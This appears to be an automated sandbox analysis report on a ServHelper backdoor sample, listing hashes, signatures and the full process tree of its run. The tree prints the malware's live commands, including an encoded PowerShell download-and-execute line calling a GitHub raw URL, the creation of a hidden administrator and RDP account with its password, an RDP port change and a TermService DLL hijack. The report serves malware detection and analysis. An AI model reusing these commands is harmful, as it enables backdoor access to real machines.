Analysis
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max time kernel
157s -
max time network
129s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
31-01-2022 22:08
Static task
static1
Behavioral task
behavioral1
Sample
fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe
Resource
win10v2004-en-20220113
General
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Target
fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe
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Size
4.5MB
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MD5
6e25c5952efe42d73b7d20ed3d48199b
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SHA1
ffc74cf6eebcf8129bc565aec41b41e7b1f84e0c
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SHA256
fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6
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SHA512
8ebb2206cbc8605613d894930e8982b0a424e1f8be3ad649b0237c78dfe4f75ff1691958e9a91f83286407466852c5199ec913d9cf1fd1ecaa0cde5eb8af5bb6
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1704 powershell.exe 6 1704 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1496 icacls.exe 1680 icacls.exe 864 icacls.exe 1592 takeown.exe 1736 icacls.exe 316 icacls.exe 768 icacls.exe 1576 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000a00000001393d-104.dat upx behavioral1/files/0x0009000000013947-105.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1720 Process not Found 1720 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1736 icacls.exe 316 icacls.exe 768 icacls.exe 1576 icacls.exe 1496 icacls.exe 1680 icacls.exe 864 icacls.exe 1592 takeown.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QPAOWE3SMML6BUIRUJH6.temp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00f8783bef16d801 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 748 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 860 powershell.exe 600 powershell.exe 1368 powershell.exe 1776 powershell.exe 860 powershell.exe 860 powershell.exe 860 powershell.exe 1704 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 464 Process not Found 1720 Process not Found 1720 Process not Found 1720 Process not Found 1720 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 860 powershell.exe Token: SeDebugPrivilege 600 powershell.exe Token: SeDebugPrivilege 1368 powershell.exe Token: SeDebugPrivilege 1776 powershell.exe Token: SeRestorePrivilege 316 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1524 WMIC.exe Token: SeIncreaseQuotaPrivilege 1524 WMIC.exe Token: SeAuditPrivilege 1524 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1524 WMIC.exe Token: SeIncreaseQuotaPrivilege 1524 WMIC.exe Token: SeAuditPrivilege 1524 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 316 WMIC.exe Token: SeIncreaseQuotaPrivilege 316 WMIC.exe Token: SeAuditPrivilege 316 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 316 WMIC.exe Token: SeIncreaseQuotaPrivilege 316 WMIC.exe Token: SeAuditPrivilege 316 WMIC.exe Token: SeDebugPrivilege 1704 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1888 wrote to memory of 860 1888 fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe 27 PID 1888 wrote to memory of 860 1888 fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe 27 PID 1888 wrote to memory of 860 1888 fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe 27 PID 860 wrote to memory of 936 860 powershell.exe 29 PID 860 wrote to memory of 936 860 powershell.exe 29 PID 860 wrote to memory of 936 860 powershell.exe 29 PID 936 wrote to memory of 628 936 csc.exe 30 PID 936 wrote to memory of 628 936 csc.exe 30 PID 936 wrote to memory of 628 936 csc.exe 30 PID 860 wrote to memory of 600 860 powershell.exe 31 PID 860 wrote to memory of 600 860 powershell.exe 31 PID 860 wrote to memory of 600 860 powershell.exe 31 PID 860 wrote to memory of 1368 860 powershell.exe 33 PID 860 wrote to memory of 1368 860 powershell.exe 33 PID 860 wrote to memory of 1368 860 powershell.exe 33 PID 860 wrote to memory of 1776 860 powershell.exe 35 PID 860 wrote to memory of 1776 860 powershell.exe 35 PID 860 wrote to memory of 1776 860 powershell.exe 35 PID 860 wrote to memory of 1592 860 powershell.exe 38 PID 860 wrote to memory of 1592 860 powershell.exe 38 PID 860 wrote to memory of 1592 860 powershell.exe 38 PID 860 wrote to memory of 1736 860 powershell.exe 39 PID 860 wrote to memory of 1736 860 powershell.exe 39 PID 860 wrote to memory of 1736 860 powershell.exe 39 PID 860 wrote to memory of 316 860 powershell.exe 40 PID 860 wrote to memory of 316 860 powershell.exe 40 PID 860 wrote to memory of 316 860 powershell.exe 40 PID 860 wrote to memory of 768 860 powershell.exe 41 PID 860 wrote to memory of 768 860 powershell.exe 41 PID 860 wrote to memory of 768 860 powershell.exe 41 PID 860 wrote to memory of 1576 860 powershell.exe 42 PID 860 wrote to memory of 1576 860 powershell.exe 42 PID 860 wrote to memory of 1576 860 powershell.exe 42 PID 860 wrote to memory of 1496 860 powershell.exe 43 PID 860 wrote to memory of 1496 860 powershell.exe 43 PID 860 wrote to memory of 1496 860 powershell.exe 43 PID 860 wrote to memory of 1680 860 powershell.exe 44 PID 860 wrote to memory of 1680 860 powershell.exe 44 PID 860 wrote to memory of 1680 860 powershell.exe 44 PID 860 wrote to memory of 864 860 powershell.exe 45 PID 860 wrote to memory of 864 860 powershell.exe 45 PID 860 wrote to memory of 864 860 powershell.exe 45 PID 860 wrote to memory of 1344 860 powershell.exe 46 PID 860 wrote to memory of 1344 860 powershell.exe 46 PID 860 wrote to memory of 1344 860 powershell.exe 46 PID 860 wrote to memory of 748 860 powershell.exe 47 PID 860 wrote to memory of 748 860 powershell.exe 47 PID 860 wrote to memory of 748 860 powershell.exe 47 PID 860 wrote to memory of 1768 860 powershell.exe 48 PID 860 wrote to memory of 1768 860 powershell.exe 48 PID 860 wrote to memory of 1768 860 powershell.exe 48 PID 860 wrote to memory of 1668 860 powershell.exe 49 PID 860 wrote to memory of 1668 860 powershell.exe 49 PID 860 wrote to memory of 1668 860 powershell.exe 49 PID 1668 wrote to memory of 1120 1668 net.exe 50 PID 1668 wrote to memory of 1120 1668 net.exe 50 PID 1668 wrote to memory of 1120 1668 net.exe 50 PID 860 wrote to memory of 1876 860 powershell.exe 51 PID 860 wrote to memory of 1876 860 powershell.exe 51 PID 860 wrote to memory of 1876 860 powershell.exe 51 PID 1876 wrote to memory of 2000 1876 cmd.exe 52 PID 1876 wrote to memory of 2000 1876 cmd.exe 52 PID 1876 wrote to memory of 2000 1876 cmd.exe 52 PID 2000 wrote to memory of 1212 2000 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe"C:\Users\Admin\AppData\Local\Temp\fa984c86c9ffa1933559eaaf67b927b2b389a71977754f68841a2cde9e065ed6.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\22udgrto.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES34B8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC34A7.tmp"4⤵PID:628
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:600
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1368
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1592
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1736
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:316
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:768
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1576
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1496
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1680
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:864
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1344
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:748
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1768
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1120
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1212
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1152
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1008
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1604
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C:\Windows\system32\net.exenet start TermService5⤵PID:776
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1608
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1732
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1096
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1480
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:456
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1216
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 5dKqeDJt /add1⤵PID:928
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 5dKqeDJt /add2⤵PID:1700
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 5dKqeDJt /add3⤵PID:912
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1224
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:544
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1096
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD1⤵PID:1496
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD2⤵PID:376
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD3⤵PID:628
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1768
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1080
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1668
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 5dKqeDJt1⤵PID:1172
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 5dKqeDJt2⤵PID:1684
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 5dKqeDJt3⤵PID:832
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1216
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1524
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:768
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:316
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1716
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1704
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